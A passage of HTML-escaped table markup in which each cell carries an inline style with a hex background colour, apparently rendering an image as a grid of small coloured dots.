&lt;td style=&quot;background-color: #af843d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad843c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b0873f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e7737; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d662f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #644021; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f171c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #201120; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f111f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1b0d1b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #271d23; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #515a39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b623b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #697247; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6c7d54; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #718658; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f8155; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #90945c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a7a667; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a9a766; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ada963; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b1b16f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aaa661; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #949559; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a9161; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #869368; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #76805c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #3e3834; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #555a42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #596448; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #676c4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #70724c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #75764c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6e6d46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #716d42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #656843; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #646744; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #747446; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b8153; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a7ad77; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a1a271; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a3a772; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #828156; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #533126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d2926; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #805934; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #956834; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #835527; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c59842; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a67b39; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #805628; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a47631; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c5225; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #714b28; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a6330; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #785127; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #371c1d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #291423; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1c1022; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1020; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #241723; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #434a37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #44533a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e5e44; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #576c4d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #586d4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #53674c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #747e50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a7a461; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aeac6b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #acab69; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #adad71; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a49f5d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #969457; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f8b5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #87946a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a8262; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #433e37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #595d45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #626649; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #606d50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #62704e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #676d47; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #64643e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #62623d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #555a3c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a5e3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f623d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #616541; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #807a49; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6d6840; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #676e4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #776d46; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b2420; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #44201d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba8e42; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cda451; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c19747; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d2a850; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae843f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b68b3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7ac4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cba14d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cea049; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c0933f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #795126; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2f171b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #261622; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1321; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f131e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #21131f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3d4232; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #475439; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f5c3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #516447; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b5e45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a5d44; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #566646; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a915f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a9a869; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a4a367; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a19e63; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a19e5f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #929158; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #81885e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #889167; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e8564; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #5a563e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #58563f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f4d3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #505b45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #535c45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #555b3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a5e3d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5a5d3e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #55593a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4d5538; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #474c37; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b4c36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4f4933; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #565035; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4a4834; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #503d2c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #502720; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3b1719; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a57738; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e1b45d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d1a856; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7af5c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba9148; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b88d45; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dcaf58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ddb058; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c39644; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #92672d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #57331c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #2a151c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #291a22; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #281923; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1e1622; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #1f121f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e3d30; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #535b3f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5b6142; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5c6c4b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #586d4f; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #586e50; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #5f7351; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #718259; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a915e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e915a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #878954; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e7f52; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e7f53; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #82875b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #767e58; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6b6f55; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #4f4a3b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #464436; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #3e3b32; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b513e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b523c; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #53553e; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #55563b; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #54573a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #575e40; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #56593d; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4e533a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #52533a; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #524f36; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #4b4a34; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #413e31; border-radius: 9px; border: 0px none; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
